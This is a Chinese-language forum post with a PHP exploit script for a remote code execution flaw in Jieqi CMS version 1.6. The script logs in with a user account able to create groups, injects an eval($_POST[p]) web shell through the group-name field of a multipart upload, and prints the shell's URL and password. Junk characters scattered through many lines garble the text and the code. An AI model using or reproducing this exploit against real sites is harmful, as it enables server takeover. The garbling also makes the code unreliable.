杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。- p( e( ~" X" q2 ]. ]$ Y
9 _" T- p$ A* }. t
9 z+ `/ x9 n& `$ v该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
1 K" J6 r! p& I" q* A 需要有一个能创建圈子的用户。
* R8 S7 }5 }2 I- z | 1 J" {% U% K6 k9 Q# Y
<?php& W7 P6 y- S0 B4 K
5 F8 \9 b% M2 r) `9 X" f7 Gprint_r('- A: ^. `$ H! h- M
+---------------------------------------------------------------------------+( Q+ T3 y- N2 o! c4 G, B
Jieqi CMS V1.6 PHP Code Injection Exploit
. n& D$ T- D& F, N, \0 hby flyh4t2 T+ q' H3 Z6 F% u- V& ]
mail: phpsec at hotmail dot com2 s( K* \# C! {! V2 S
team: http://www.wolvez.org# u! V- _: F0 B& I
+---------------------------------------------------------------------------+
4 {9 b8 S- A8 h7 N% y9 Z'); /**- ^: L* c2 M% }6 ~2 Z4 V
* works regardless of php.ini settings
% D7 g$ r& O9 M8 E6 L# j*/ if ($argc < 5) { print_r('
8 N: J( q7 a( D: l+ A$ U8 v+---------------------------------------------------------------------------+, ?8 {, b( o$ j/ ?2 ~6 J
Usage: php '.$argv[0].' host path username O6 N6 H! E+ Z$ }
host: target server (ip/hostname)
X1 h% i8 ]. p, L/ h$ dpath: path to jieqicms
8 J8 `$ l! J: U- {% F* p2 H% Y! _3 _uasename: a username who can create group/ b/ b' a& A' m3 V
Example:" c z$ S8 m" ^; P3 x) w2 ~& i
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
- l' t" U3 o* l+---------------------------------------------------------------------------+0 a# \, y4 I& \# \6 s3 [
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------232811682799610 e5 D- c/ j, {; }: g1 r- g0 o" B
Content-Disposition: form-data; name="gname"; f- I2 A$ }; {2 \3 U& L
( B' }$ V8 v- s4 R
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
" _$ H2 h1 O v3 D- E-----------------------------232811682799617 W: e: M) l9 }! v, U0 H
Content-Disposition: form-data; name="gcatid"
% a. j% k9 L8 ~/ }+ l- l0 ~
6 j$ O. N% r, Q% e) d' T12 b, |9 H5 S9 H) G8 ?
-----------------------------23281168279961& v& z, n' n8 Z- `8 }
Content-Disposition: form-data; name="gaudit"3 |" U9 Q* y4 h/ q8 E2 ?1 T, l
! L1 c# r; z+ N0 Z/ Q19 X, c* |$ |, T8 w9 f( g$ ]% J
-----------------------------23281168279961$ s+ B) d3 k, x; m
Content-Disposition: form-data; name="gbrief"0 ~; y- y1 s" \+ \/ u
" o! q# @. i) `# w6 p
16 G. [/ Q; J$ g i
-----------------------------23281168279961--
( a* O1 Q( c# V& Z( s8 F) x% l'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
- O$ Z# I3 f- K2 v4 g2 z - C* U2 Z; L* }' w. b6 t
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |